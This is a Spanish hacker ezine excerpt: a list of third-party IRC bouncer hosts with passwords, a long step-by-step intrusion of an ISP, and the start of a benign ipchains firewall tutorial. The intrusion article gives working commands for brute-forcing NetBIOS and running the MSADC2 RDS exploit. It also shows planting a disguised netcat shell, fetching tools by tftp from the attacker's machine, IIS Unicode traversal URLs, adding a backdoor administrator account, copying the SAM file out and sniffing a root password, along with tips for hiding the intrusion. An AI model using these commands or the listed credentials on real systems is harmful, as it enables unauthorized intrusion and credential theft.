/quote vip Abajo nos muestra la lista de vhosts -Bnc- Listing Vhosts -Bnc- Default Vhost: party-time.every-night.at.ipoh.net -Bnc- (0) we-hate.the.buggy.windowsNT.st -Bnc- (1) all.lamers.around-me.hotshells.net -Bnc- (2) Im-using.the.obsolete.windows98.st -Bnc- (3) Looking.for.porno.ecards.st -Bnc- (4) Im.woooing.girls.from.ipoh.net -Bnc- (5) drunk-dead.in-bangsar.shellshock.net -Bnc- (6) burned-my-fingers.when-touching.hotshells.net -Bnc- (7) slipped.on-an.banana-peel.at.ipoh.net -Bnc- (8) Im-all.shocked-up.at -Bnc- (9) n-and-u.d-and-e.g-and.a-and-l.com -Bnc- (10) Someone.burned-my.pobox.st -Bnc- (11) Looking.cool.with-a-shell-from.shellshock.net -Bnc- (12) i-found-it.all-at.spacesolutions.com -Bnc- End of Vhost list -> Server: vip Looking.cool.with-a-shell-from.shellshock.net <=- Aqu puse /quote vip -Bnc- Switching Vhost to Looking.cool.with-a-shell-from.shellshock.net (64.65.25.253) -> Server: conn irc.dal.net <=- Aqu puse /quote conn irc.dal.net -Bnc- Making reality through irc.dal.net port 6667 -Bnc- Suceeded connection ya haciendo todo eso nos conectaremos a un random server de dalnet pero podemos conectarlos a donde sea. En los Bncs se pueden usar slo 3 comandos (/quote vip o vhost <=- segn el bnc /quote conn /quote help) porque los otros comandos aqui mostrados slo los puede usar el administrador del Bnc osea slo el dueo del Bnc puede colocar cuantos usuarios se pueden conectar al mismo tiempo por el bnc, puede agregar vhosts o vip, puede colocarle un ident fijo osea el que use ese bnc no podercambiarse el ident, puede killear a todos los usuarios que esteen en su bnc o al que quiera etc... 6.- Aqui expongo una breve lista de algunos bnc ustedes vean si tienen vhosts o vip: rhin.imag.fr 7070 tNm99 econa.ing.uniroma1.it 4321 rclan98x indy3.ess.nrcan.gc.ca 9090 maav99kc 204.17.90.2 2034 rgrgrg sunrec1.rec.uabc.mx 5555 xXx www.puis.net 8887 jimbo la.me.fm 4441 redhat 13m.com 31111 gunh0st damis.snu.ac.kr 48032 lovelin forest.gov.my 2000 sennopass alpha.tu.ac.th 900000 ftp1234 deltamail.com.mx 1250 chi shell.internett.com.br 9080 spoof fenix.totem.com.br 15678 buc3t4 youre.blacklisted.org 7171 babenet shell.asswipe.net 2600 asswipe r2d2.ee.eng.chula.ac.th 6666 phoenix cyber.spacesolutions.com 6600 mazlia2000 aisne.imag.fr 7070 tNm99 ecom1.deltacom.net 6667 w8 me-so-emo.com 5253 bobbyanger inbed.org 34567 garth smtp2.jollibee.com.ph 19968 alipin www.changwon.ac.kr 447766 fehert shell.asswipe.net 2600 asswipe shell.lomag.net 1293 atheisticalo shellux.net 4360 64k immortal.dungeonfyre.com 8000 heyram fisica1.uncoma.edu.ar 7070 tnmr0x Nota3 Explicacin: Antes de usar un bnc tienen que interponerle un /server ejemplo si quiero usar el bnc rhin.imag.fr 7070 tNm99 <- entramos al cliente de irc que tengamos y ponemos /server rhin.imag.fr 7070 tNm99 rhin.imag.fr <- vendria siendo el host del bnc 7070 <- obvio el puerto tNm99 <- el password Nota Final: Algunos bnc se colapsan por mucha cantidad de usuarios que los estan ocupando al mismo tiempo, pero no quiere decir que no funcionen ya que yo mismo los he ocupado y han funcionado a la perfeccin, igual que hay algunos bnc que tienen akill en dalnet ya que en dalnet monitorean todo tipo de proxy pero se pueden usar en otros servidores. 7.- Despedida: Con esto ya termino este breve artculo (tips) de bnc... Cualquier problema, duda, consulta o sugerecia. Mandenme un mail a Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla Agradecimientos a: Kannabiz por haberme dado bncs %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Un Caso de la Vida Real: NT >>>--------------------[ by NDR113 ]------=> 1. iNTRO Saludos. Creo que este es mi primer articulo q sale del campo netamente tecnico q ha caracterizado mi participacion en esta ezine. Mi parecer es q la mejor forma de adentrarse en sistemas ajenos no es el de seguir guias o HOW-TOs, pq asi lo unico que resulta es una repeticion mecanica y no un verdadero aprendizaje. Pese a esto, a continuacion describire un caso -o posible caso ;-) - de intrusion a una red -como un ISP por ejemplo (es decir una empresa que provee acceso a internet), con el proposito de ejemplificar que "una cadena es tan fuerte como su eslabon mas debil", un principio que se aplica en la segurida informatica y que todo administrador deberia tener en cuenta. No basta con asegurar el servidor principal, pues descuidando uno de menor importancia podemos comprometer la seguridad de nuestra red. Este documento es bastante extenso, y es que aun que es posible escribir algo mucho mas conciso y directo, prefiero ofrecer varias maneras de llegar al mismo resultado, para asi aprovechar de explicar varias cosas para aquellos recien iniciados. 2. iNFO Recabar informacion a traves de los siguientes pasos. 2.1 nSLOOKUP Corremos nuestros nSLOOKUP -estando en NT o NIX- para hechar un vistaso al ISP. Tecleamos: set q=ns # esto estable la consulta (query) a nivel de Servidor de Nombres (ns) isp.cl # esto consulta por los servidores dns que manejan isp.cl Servidor: ns.tuconeccion.cl Address: 204.152.1.10 Respuesta no autoritativa: isp.cl nameserver = ns1.isp.cl isp.cl nameserver = ns2.isp.cl ns1.isp.cl internet address = 209.88.144.15 ns2.isp.cl internet address = 209.88.144.3 ahora tomamos un server y consultamos los hosts que maneja server dns1.isp.cl # nos "conectamos" con el server ls -d isp.cl # listamos (ls) los dominios (-d) que estan bajo isp.cl isp.cl. SOA access.isp.cl info.isp.cl. (2 000120600 10800 3600 604800 86400) isp.cl. NS access.isp.cl isp.cl. NS merlin.isp.cl isp.cl. A 209.88.144.13 isp.cl. MX 0 matador.isp.cl smtp A 209.88.144.13 relay A 209.88.144.13 city1 A 209.88.144.20 softel MX 0 softel.isp.cl softel MX 10 matador.isp.cl softel A 209.88.144.130 merlin A 209.88.144.15 matador A 209.88.144.13 asp A 209.88.144.9 news A 206.49.216.227 access MX 0 access.isp.cl access A 209.88.144.3 cgi A 209.88.144.15 ws A 209.88.144.5 pop A 209.88.144.13 localhost A 127.0.0.1 mail A 209.88.144.13 www A 209.88.144.9 sistema A 209.88.144.12 loopback CNAME localhost isp.cl. SOA access.isp.cl info.isp.cl. (2 000120600 10800 3600 604800 86400) Aqui tenemos la lista, con sus respectivas descripciones e IPs. Podemos ahora simplemente tomar la lista, y guardarla para uso posterior redireccinadola ls -d isp.cl > isp.dns Con lista en manos procedemos a provar y scanear en busca de los Sistemas Operativos (OS) q corren (OS), servicios, puertos, etc.. con un scanner como nmap en nix o Retina en NT. 2.2 sCAN En el caso de Retina, no hay nada q explicar puesto q es un auditor bastante intuitivo para el ambiente grafico WIN. En el caso de nmap la documentacion esta bastante entendible. En todo caso, un uso tipico seria -para los que no conocen nmap- nmap -O -v -oN scan.txt IP es decir, -O para que nmap trate de deducir el OS, -v para verbose, -oN para guarde un log o registro del resultado de scaneo al archivo scan.txt y luego el IP a scanear. 3. sTART Despues del scaneo, resulta que tenemos servidores varios servidores corriendo distintos OS, tanto WINs como NIX. Muchos NIX al telnetear (puerto 23) te muestran la version de OS q ejecutan e incluso el kernel, lo que puede servir para buscar exploits que aprovechen precisamente esa version. Asi telneteamos y tenemos que los servidores DNS son un SunOS 5.6 y un HP-UX; el de web es un Win2000, el router es Cisco y el servidor de mail -y webmail tb- es WinNT 4. Hay un NT. Para mi NT es un OS bastante bueno cuando es bien administrado -yo mismo utilizo NT 4 Server como OS principal-, lamentablemente es generalmente mal administrado. Asi pues, el servidor MAIL q corre NT sera nuestro primer objetivo. Corre servicios POP (Recive Correo - puerto 110) y SMTP (Envia Correo - puerto 25), como HTTP (es decir WEB - puerto 80) y NETBIOS (Compartir Recursos - puerto 139) entre otros. 3.1 sAMBA Podriamos ahora tomar varios caminos, uno podria ser atacar con fuerza bruta el puerto 139 con peticiones NETBIOS con un cliente SAMBA, como por ejemplo el conocido NAT. Asi podriamos obtener la password y simplemente conectar uno de sus recursos compartidos a nuestro PC como si fuera una unidad de red comun y silvetre. Se podria confeccionar una lista de password (passlist) con datos recopilados hasta ahora -nombre del administrador, empresa, fono, y ademas las tipicas como admin, webhost, server, y todas las estupidezes que algunos incompententes colocan como password. El nombre de usuario predeterminado para NT es Administrador o Administrator, pero podemos verificar simplemente haciendo un NBTSTAT -desde NT- o smbclient en *nix. c:\>nbtstat -A IP # en WinNT # nbtstat nuestra informacion de netbios sobre el IP (-A) q se le proporcione, # en el caso de querer probar directamente con el nombre de maquina se utiliza # -a. Tabla de nombres de mquina remota de NetBIOS Nombre Tipo Estado --------------------------------------------- MAIL <00> UNIQUE Registrado MAIL <20> UNIQUE Registrado INTERNET <00> GROUP Registrado INTERNET <1C> GROUP Registrado ISP <1B> UNIQUE Registrado INTERNET <1E> GROUP Registrado MAIL <03> UNIQUE Registrado ADMINISTRATOR <03> UNIQUE Registrado INTERNET <1D> UNIQUE Registrado ..__MSBROWSE__.<01> GROUP Registrado INet~Services <1C> GROUP Registrado IS~WWWSERV.....<00> UNIQUE Registrado MAIL <06> UNIQUE Registrado Direccin MAC = 00-00-21-41-A5-16 Para entender un poco mas la tabla es necesario conocer el sigfnificado de algunos de los codigos q aparecen en la segunda columna. UNIQUE - Informacion sobre la maquina en particular <00> Nombre de la estacion de trabajo, o en este caso servidor <20> Nombre de servidor para el servicio comparticion de recursos <1B> Nombre del controlador de dominio, es decir el servidor q controla el grupo de computadores q conforman esa parte de la red. <03> Nombre del servicio de mensajeria. Identifica al nombre del tarro y el usuario actualmente logeado. GROUP - Informacion sobre el grupo o dominio al q pertenece la maquina. <00> Nombre del dominio al q pertenece la maquina <1C> Nombre de dominios <1E> Nombre del grupo -grupo es una implementacion similar a dominio pero a menos escala y menor complejidad, pues puede existir un grupo peer-to-peer es decir en el q no exista un servidor, mientras q los dominios deben ser manejados jerarquicamente por un servidor. <01> Anuncia a otros controladores de dominio que este es tb un controlador. ./smbclient -L IP # en NIX # aqui muestra informacion de lo q comparte el pc, el grupo al q perteneces, # el usuario, etc. # Para mas informacion sobre samba para nix, lean el articulo de samba de # Gengis. Aca tenemos los nombres de dominio al que pertenece la maquina (), el nombre del server en si, y su usuario. De aqui se saca obviamente el user ademas de q quizas pueda servir el dominio o nombre del tarro como pass -hay admins q ponen cualquier cosa-. Tonces vamos a NAT y le damos algo asi: nat -u userlist -p passlist -o log IP # -u para indicarle el archivo con la lista de posibles nombre de usuario que # construimos, -p para indicarle la lista de passwords; -o para guardar los # resultados en un archivo de registro; y finalmente el IP.] # Con suerte y muchisimo tiempo quizas pueda conectar, claro esta, esta es # la forma menos elaborada, por algo es llamada "fuerza bruta". # Una ves con la password, es cosa de simplemente aadir alguno de los recursos # compartidos q tiene el server a nuestro pc como una unidad de red: net use z: \IPDELSERVERNT\C$ password /user:DOMINIO\Administrador siendo z: la letra de unidad que queramos darle, IPDELSERVERNT el IP del servidor, C$ el recurso compartido que queremos accesar (no solamente puede ser la unidad C -notese q NT aade ingenuamente la extension $ a los ciertos recursos compartidos para "ocultarlos"-, luego la password q encontramos, en DOMINIO reemplazamos por el nombre del grupo o dominio al q pertence la maquina -segun se indica en la tabla NetBIOS como GROUP, y finalmente el nombre del administrador -q puede ser distinto de Administrador, pues notese que algunos servidores tienen mas de una cuenta con atributos de administrador -. 3.2 sERVIDORES Y EXTENSIONES MICROSOFT [frontpage / iis] Otra posibilidad es verificar si corre algun software servidor con bugs -pronunciese Microsoft FrontPage o Internet Information Server). Pues, este server lo hace pq en su tabla de NetBIOS pudimos ver q pertenece a INet~Services <1C> GROUP , de decir corre IIS. Para FrontPage, los fallos corresponden a las extensiones q instala en los servers -no solo WIN en todo caso, ya q hay extensiones FrontPage para otros OS-. Algunas son: www.url.com/_vti_pvt/service.pwd www.url.com/_vti_pvt/users.pwd www.url.com/_vti_pvt/authors.pwd www.url.com/_vti_pvt/administrators.pwd www.url.com/_vti_inf.html www.url.com/_vti_bin/shtml.dll www.url.com/_vti_bin/shtml.exe En el caso de poder obtener los archivos .pwd, se pueden obtener las pass desencriptando el archivo con JOHN THE RIPPER. Primero claro hay que pasar el archivo a la siguiente forma: Se obtiene algo asi en el pwd: Admin:SGXJVl6OJ9zkE y se debe llevar a un formato asi: Admin:SGXJVl6OJ9zkE:10:200:Admin:/users/Admin:/bin/bash # asi john lo puede trabajar y tratar de crackear, pues FP utiliza encriptacion # DES -crackear el archivo puede llevar eso si mucho tiempo-. # Uso de John the Ripper en FYE2 Probamos con lo basico para ver si puede estar ejecutando Internet Information Server (Microsoft IIS) y aprovechar sus fallas -antiguas en todo caso-. Estas fallas pueden ser verificadas directamente desde el explorador web -recomendando que sea IE y no otro como Mozilla-, verificando las siguientes URLs: http://www.victima.com/iisadmin http://www.victima.com/scripts/samples/ism.dll?http/serv http://www.victima.com/scripts/tools/newdsn.exe http://www.victima.com/scripts/iisadmin/bdir.htr # La explicacion de estas fallas esta en el articulo "Mi amigo el IIS" por # ThEye (FYE3). 3.3 Microsoft Access Al ser un NT, puede que este corriendo el motor de Microsoft JET (Access), cosa q es relativamente comun. Resulta que JET para NT, tiene una falla q tiene relacion con IIS y el modulo de acceso de datos, o Microsoft Data Access Control (MSADC). Asi, es posible hacer que la maquina ejecute los comandos q se le indiquen de manera remota. Como aprovechar esto? Utilizando el exploit conocido como MSADC2, hecho por Rain Forest Puppy de WireTrip. El codigo esta escrito en PERL -un lenguaje de programacion similar al C-, por lo que si queremos ejecutarlo debemos tener un interprete de PERL. En NIX generalmente PERL ya esta instalado, en NT hay q instarlo [www.activestate.com]. El exploit esta atachado al zip de esta ezine con el nombre de msadc2.pl o puede ser bajado desde 350cc.com. Vamos a utilizar varias veces el exploit, asi que hare un pequeo script o bat -NIX o NT-. echo cd\perl\bin&&perl -x \ruta\msadc2.pl -h IP > ndr.bat&&move ndr.bat C:\winnt\system32 # NT: reemplazando IP y ruta # la orden consiste en ir a \perl\bin luego (&&) ordenanos ejecutar el script, # y se redirecciona (>) la orden a ndr.bat, el cual es luego (&&) movido (moce) # a la ruta de winnt\system32, para asi ejecutarlo desde cualquier lugar echo perl -x /ruta/msadc2.pl -h IP > ndr&&chmod +x ndr&&ln ndr /usr/bin/ndr # NIX: remplazando ruta # igual, la orden para ejecutar el script atraves de perl es direccionada a ndr # luego cambiamos con chmod las propiedades para que sea un archivo ejecutable # y hacemos un vinculo a /usr/bin para poder ejecutarlo desde donde estemos. Entonces corremos el exploit: c:\>ndr o bien, #] ./ndr -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- Type the command line you want to run (cmd /c assumed): cmd /c tonces, tenemos la linea de comando lista para ejecutar el codigo q deseemos de manera remota y con los permisos del usuario actualmente logeado -felizmente este debe ser algun usuario perteneciente el grupo local de Administradores. 3.3.1 NETBIOS - NETCAT Entonces, ahora q podemos ejecutar lo q queramos podemos correr el famoso NETCAT, conocido como la "navaja suiza", pues tiene usos casi ilimitados. Con Netcat podemos obtener una "shell" en el servidor, una caracteristica q NT en realidad no presenta por lo general -al contrario de nix-. Primero subimos el NETCAT al server. como? si no tenemos las passwords ni nada? Simple, si no podemos conectarnos al server... pues q el server se conecte a nosotros. -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- Type the command line you want to run (cmd /c assumed): cmd /c net use i: \nuestroip\c$ tupassword /user:DOMINIO\Administrador Step 1: Trying raw driver to btcustmr.mdb winnt -> c: Success! # dejamos nuestro disco como unidad i: del servidor para poder asi copiar # cualquier cosa de nuestro pc al server sin saber siquiera la password alguna # recomendacion: crear una cuenta especialmente para la ocacion, pues si el # admin te pesca, sabra tu ip y tu password de administrador, es decir: quien # es el "hackeado" ahora? luego: -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- Type the command line you want to run (cmd /c assumed): cmd /c copy i:\nc.exe c:\winnt\system32\win32sp6.exe Step 1: Trying raw driver to btcustmr.mdb winnt -> c: Success! # copiamos netcat q colocamos en c:\ de nuestro pc a \winnt\system32, # con otro nombre menos sospechoso. finalmente: -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- Type the command line you want to run (cmd /c assumed): cmd /c win32sp6 -l -p 350 -t -e cmd.exe Step 1: Trying raw driver to btcustmr.mdb winnt -> c: Success! # ejecutamos el netcat de la siguiente forma: #-l (modo listen , o sea "escucha" conecciones) #-p 350 (port 350, o sea, q escuche (-l) lo q venga del puerto 350) #-t (indica a netcat para manejar la negociacion del Telnet) #-e cmd.exe (execute, ejecutar cmd.exe al recibir coneccion - tonces la respuesta sera una "shell" o linea de comando) ahora, simplemente "telnetiamos" al puerto 350 del servidor y nos aparece: Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\WINNT\system32> LISTO. Una cuenta para hacer lo q se antoje. Mas tarde seguiremos en 4.0 con lo q podemos hacer en la linea ahora en la linea de comando. Nota: Netcat para NT tiene la particularidad de que una ves hecha una coneccion deja de funcionar, por lo tanto debe ser ejecutado cada ves que queramos accesar a nuestra "cuenta". Una vez en la "shell" elimina la coneccion a tu pc con c:\>net use i: /delete y asi no dejar peligrosamente abierto tus recursos. Ademas de cerrar la sesion que se abrio entre tu tarro y el server a traves de: c:\>net session \TUTARRO /delete #para obtener las sesiones presentes se ejecuta net session sin argumentos Tambien, una ves terminado nuestro trabajo en la linea de comando, es recomendable terminar con un EXIT, para cerrar esa sesion del interprete de comandos cmd.exe para que la intrusion no sea tan obvia. 3.3.4 TFTP Otra cosa seria utilizar TFPD (Trivial FTP), un sistema de transmicion de archivos extremadamente simplificado que no necesita autentificacion y que a traves de la misma linea de comando recibe las ordenes de lo que debe subir o bajar. Entonces enviaremos al servidor los ficheros que deseemos, como por ejemplo algun sniffer, netcat, o lo que sea; con una nula posibilidad de dejar informacion sobre algun de nuestro tarro en el server. Primero corremos un servicio FTFP -en caso de NT esta el ultraliviano TFTPD32, incluido en el zip- o un demonio equivalente en nix. Corremos el servicio en nuestro tarro, estableciendo la carpeta donde esta lo que queremos subir, y luego: -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- Type the command line you want to run (cmd /c assumed): cmd /c tftp -i NUESTROIP GET \origen\archivo \destino\archivo Step 1: Trying raw driver to btcustmr.mdb winnt -> c: Success! Entonces el cliente tftp del servidor puesto en modo binario (-i), obtendra (GET) de nuetra maquina, el archivo de origen y lo pondra en el destino dentro del server. Luego simplemente ejecutamos lo que subimos con msad2.pl. Por si acaso: tfpd corre predeterminadamente en el puerto 69. 3.3.2 NETBIOS Otra cosa seria crear una cuenta pertenecientes al grupo de Administradores, para poder manejar el server como tal: -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- Type the command line you want to run (cmd /c assumed): cmd /c net user sysback pass /ADD #creamos un usario sysbak con password "pass", luego -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- Type the command line you want to run (cmd /c assumed): cmd /c net localgroup Administradores sysback /ADD # aadimos al grupo local de Administradors el usuario q creamos, # ahora es cosa de usar NETBIOS, o SAMBA como se indica en 3.1. Luego de conectarnos al server con netbios, adquirimos los permisos de admin sobre la maquina. Entonces podemos utilizar las herramientas de Administrativas de NT, como el Administradode Usuarios, el Visor de Sucesos, Administrador de Acceso Remoto, etc. 3.3.3 NETCAT - SAM Otra posibilidad seria tomar el fichero q tiene las password del server y luego desencriptarla con L0phtCrack. NT guarda en el directorio c:\winnt\repair ciertos archivos a forma de copia de seguridad de posibles fallos, o reparacion es del sistema. Las pass estan en sam._ . Eso si es probable q el fichero ya no contenga las password correctas pues no es en si un reflejo del sistema en su estado actual, si no, del momento en que se hicieron las copias. Podriamos copiar las pass a traves de netbios o evitarnos eso simplemente copiandolas al directorio q es la web y bajarlas desde alli por http. Esto es: -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- Type the command line you want to run (cmd /c assumed): cmd /c copy c:\winnt\repair\sam._ c:\inetpub\wwwroot Step 1: Trying raw driver to btcustmr.mdb winnt -> c: Success! siendo c:\inetpub\wwwroot el lugar donde guarda la web principal del server. Tonces luego simplemente vamos a: http://www.isp.cl/sam._ y descargamos. 3.4 UNICODE En IIS 4.0 asi como IIS 5.0 hay un problemilla q permite ejecutar comandos de forma remota, a traves de HTTP. Esto puede realizarse a traves del puerto 80 con peticiones GET -lo q serviria para hacer un pequeo script a forma de exploit- pero para que complicarnos de mas. Simplemente vamos al explorador y a la url: www.isp.cl/scripts/..%0c%af../winnt/system32/cmd.exe?/c+comando Asi podemos ejecutar lo que deseemos. Aplicaciones? Por ejemplo darle www.isp.cl/scripts/..%0c%af../winnt/system32/cmd.exe?/c+tftp+-i+NUESTROIP+GET+ \origen\archivo # va todo unido en ves de espacios por el signo + (lo separe pq no me cabia en # el espacio, en todo caso va todo junto en una sola linea obviamente). Lo mas recomendado seria subier ncx99.exe, el netcat modificado que corre automaticamente en el puerto 99 sin necesidad de argumentos. Entonces una ves arriba simplemente lo ejecutamos: www.isp.cl/scripts/..%0c%af../winnt/system32/cmd.exe?/c+ncx99.exe # notese que si el server tiene en distinas unidades de disco duro el \scripts # del \winnt es necesario ejecutar con la ruta completa o si no funcionara y # dara un Time Out. www.isp.cl/scripts/..%0c%af../winnt/system32/cmd.exe?/c+d:\inetpub\scripts \ncx99.exe # todo junto. Una vez adentro telneteando al puerto 99 tendremos una "shell" # pero limitada en permisos a los correspondientes al usuario IUSR_ . # por ejemplo podremos escribir, pero no asi borrar en ciertas carpetas. Quizas # queramos ocultar o eliminar lo que subamos, pero aveces el acceso para tal cosa # es denegado. Pero se puede quizas mover a otra carpeta, renombrar o cambiar # sus atributos, por ejemplo con un: d:\>inetpub\scripts\ren ncx99.exe iis_sys.exe d:\>inetpub\scripts\attrib +h iis_sys.exe Quizas no es muy seguro pero puede funcionara para no ser tan obvio. 4.0 Keep Moving! Una vez adentro, bueno... tenemos un servidor mail (y webmail). Pero es solo una parte de la red. Como movernos hacia adelante y tratar de seguir con los demas componente del isp? Podriamos directamente comenzar a buscar fallas en los otros OS, pero como este es un articulo de NT, nos fijaremos como un NT debil puede hacer caer a otros nix seguros. 4.1 Take a look around set <-- obtenemos informacion del entorno, como las rutas (PATH), las extensiones de archivos ejecutables (PATHEXT), detalles sobre el procesador PROCESSOR_* , etc. Por ejemplo en este server notamos que: NUMBER_OF_PROCESSOR=2 Es decir estamos en un tarro con dos procesadores... interesante no? net view <-- podemos verificar si tiene alguna unidad de red conectada asi podriamos accesar por ejemplo a otros servidores WinNT o Win2K en la misma red a traves de netbios. O quizas un nix que a traves de samba este compartiendo recursos con el NT. net share <-- para ver los recursos compartidos que se encuetran "ocultos" a las consultas remotas a traves de nbtstat. net user <-- para ver los usuarios que tienen acceso al nt. Para mayor detalle de ellos -grupo al que pertenecen por ejemeplo- se utiliza: c:\>net user nombredelusuario net start <-- Muestra los servicios -equivalente a los demonios del mundo nix- q ejecuta el servidor. Se puede iniciar un servicio q no este corriendo si le damos a este comando el nombre de tal servicio como argumento. Por ejemplo, podriamos iniciar el servicio FTP para poder asi subir o bajar mas facilmente archivos del server; o iniciar el Servicio de Acceso Remoto para administrara el server a nuestro gusto desde el Administrador de Acceso Remoto [Herramientas Administrativas].Algunos Servicios Tipicos son: alerta, servicio de cliente para netware, servidor del Portafolio, examinador de equipos, cliente dhcp, duplicador de directorios, registro de sucesos, servicio de publicacin de FTP, lpdsvc, mensajera, inicio de sesin de red, dde de red, dsdm dde de red, agente de supervisin de red, proveedor de seguridad nt lm, ole, administrador de conexiones de acceso remoto, servicio isnsap de acceso remoto, servidor de acceso remoto, localizador de llamada a procedimientos remotos (rpc), servicio de llamada a procedimientos remotos (rpc), schedule, servidor, servicios simples de tcp/ip, snmp, spooler, ayuda de netbios de tcp/ip, sai y estacin de trabajo. # Los servicios que constan de dos o mas palabras deben ir # entre comillas (") net stop <-- Aqui detenemos los servicios, usando el nombre del servicio como argumento. 4.2 Sniffer, escuchando el trafico... Bueno, tamos adentro ahora q? Podemos tratar de captar otras trasmiciones de datos q pasen por la red a traves de este server, para asi ver si obtenemos logins, password y demases para acceder a por ejemplo un sunos o hp-ux. Subimos el winsniff 1.1. Este sniffer captura lo q pasa por los puertos de POP3 -correos-; TELNET -algun login del root?-; FTP; HTTP; IMAP; y NNTP. Ademas es discriminativo, porque solo guarda informacion de logins y pass. Su uso es: c:\winnt\system32\temp\>winsniff /a Adaptador /s passfile /m mainfile Siendo Adaptador el numero de adaptador de red que escuchara el sniffer. En este caso, winsniffer solo lee adaptadores Ethernet. Para sacar el numero del adaptador corremos: c:\winnt\system32\temp\>winsniff /l WinSniffer Lite 1.1 All rights reserved. http://winsniff.hypermart.net Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla [0] RAS Async Adapter RAS Async Adapter \Device\{335B9C3D-1C32-4487-8F8E-7FC3238FADF8} [1] WAN Miniport (L2TP) WAN Miniport (L2TP) \Device\{5A1D6090-4168-4D99-B50D-93EA0495CA5B} [2] WAN Miniport (PPTP) WAN Miniport (PPTP) \Device\{20EBF5BC-1189-4618-97C6-E36E79D693C4} [3] Direct Parallel Direct Parallel \Device\{4AFF9073-8DCA-4537-A9EE-2E7154A22C8A} [4] WAN Miniport (IP) WAN Miniport (IP) \Device\{AB904C86-7C8D-4218-A8D3-6F64C01B84FB} [5] Realtek RTL8029(AS)-based PCI Ethernet Adapter Realtek RTL8029(AS)-based PCI Ethernet Adapter \Device\{6B9C1453-0227-4ADA-BEB4-C87BC9CA36CD} Luego tomamos el 5 -q es un NIC PCI Realtek Ethernet- y guardamos las pass en un archivo llamado pass y el flujo completo en main -original no?- c:\winnt\system32\temp\>winsniff /a 5 /s pass /m main Luego cuando volvamos al sistema podemos revisar con un: type pass | more para ver si encontramos algo. En este "Caso de la Vida Real" se juntaron mas de 150 kbps en el archivo pass, en una parte del cual encontramos esto: -[1366]-12:41:42 10/24/00--209.88.144.13->209.88.15.144:23---- r*ot MM260R cd /var ls cd saf ls jjeje.. a que les suena r*ot ? Bueno, asi de simple puede ser rootear un SunOS... y bueno, por casualidad es la misma pass para los servers q corren SystemV y HP-UX. Es decir tenemos el 80% de la red, incluyendo los dos servidores DNS y un servidor de soporte. Todo por culpa de un NT q hacia de mailserver. 4.3 WS-FTP Que pasa con el Win2K que hace de servidor web? esta bastante seguro: no tiene netbios activado, su version de IIS 5 esta bien configurada... al parecer no tiene FTP... pero. Veamos. Siempre es bueno revisar un tarro completamente, ahora viendo en d:\>Program Files -no olviden revisar las demas letras de unidad y no quedarse en C: - vemos WS-FTP, un cliente FTP para Windows. Su problema es que al usarlo y activar la opcion "Save Password", el software guarda la pass de los servers q los q te conectas en el archivo WS_FTP.ini de la siguiente forma: [web] HOST=209.88.144.9 UID=administrador PWD=V9D43697DB5F54F2E10FC2BCD5F35C20A6D3E6A696D7576 PASVMODE=1 TIMEOFFSET=0 PORT=9053 Vemos como el administrador del mailserver accesaba por ftp al servidor web quizas para hacer mantencion... Ups! es el servidor Win200 que estab tan seguro y supuestamente no tenia FTP. Pues bueno, simplemente lo habian puesto a correr el servicio en un puerto mas alto (9053). Como crackeamos la pass? Pueden ponerla en http://www.hispasec.com/wsftp.asp y crackearla en linea. O simplemente pescar el archivo ini, llevarlo a su Win, y copiarlo en el directorio del WS FTP, y asi conectar. Lo raro aqui fue q al entrar solo mostraba un directorio, una sola web. Siendo un hosting eso es raro. Que hice? simplemente escanear los puertos cercanos al 9053.. desde el 9000 hacia arriba. Resulto q el server estaba corriendo para cada puerto un directorio distinto. El primer puerto resulto ser 9021, y ftpeando hacia alla logramos entrar al directorio raiz del hosting, teniendo ante nosotros 90 sitios webs. Y completando el 100% de la red bajo control. Todo por un NT que nadie pescaba. 6.0 FIN Bueno, hay mucho mas que hacer en esta red. Esto fue solo el principio, de alli en adelante tenemos 5 servidores a nuestra dispocicion. Imaginen. Esto fue todo por ahora, un caso de la vida real, una oportunidad que aun que no crean, se da. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Firewall & IP Chains) >>>--------------------[ by ViC3nT BlaCk ]-----=> Mucho se habla de la seguridad en Sistemas Operativos, y por supuesto las criticas caen siempre en Windows y todas sus versiones. Es tema conocido que con cada nueva version del Famoso Software de Microsoft vengan tambien nuevos bugs y nuevas formas de introducirse ilegalmente al sistema, en este sentido Linux siempre ha sido alabado por ser mas estable y mas seguro pero CUIDADO!, Linux es mas estable, pero para que sea seguro se debe desarrollar una forma de que lo sea, ya que al ser un sistema en crecimiento y desarrollo no esta libre de bugs. Debemos preocuparnos de nuestro sistema, informandonos de los nuevos bugs y updates que existen y securizandolo con la forma mas sencilla y accesible que existe, un FIREWALL. Crearlo no es dificil ni hay que tener inmensos conocimientos, solo ganas y paciencia, y leer harto. Este texto lo unico que hace es ensear a crear un Firewall Sencillo para uso domstico y por que no, Para proteger alguna Lan pequea o no tan pequea. Bueno no mas blabla y vamos al grano. Para Comenzar voy a explicar algunas reglas de Ipchains, que aunque es mas o menos complicado porque hay que entender bien lo de las cadenas, sirve bastante a la hora de hacer un firewall. Las cadenas son reglas que usa el Kernel para poder evaluar si un paquete tiene que salir o entrar, estas reglas son tres, input, output y forward. Cuando el paquete entra kernel consulta la cadena input si pasa esta regla decide el destino de el mismo(routing), si es dirijido a otra maquina usa para consulta la cadena forward y si solo tiene que salir usa la cadena output. Comando: Ipchains Uso: ipchains - A | I [cadena] [-i interfaz] [-p protocolo] [[!] -y] [-s direccion[puerto[:puerto]]] [-d direccion[puerto[:puerto]]] -j directiva [-l] -A [cadena] Agrega una 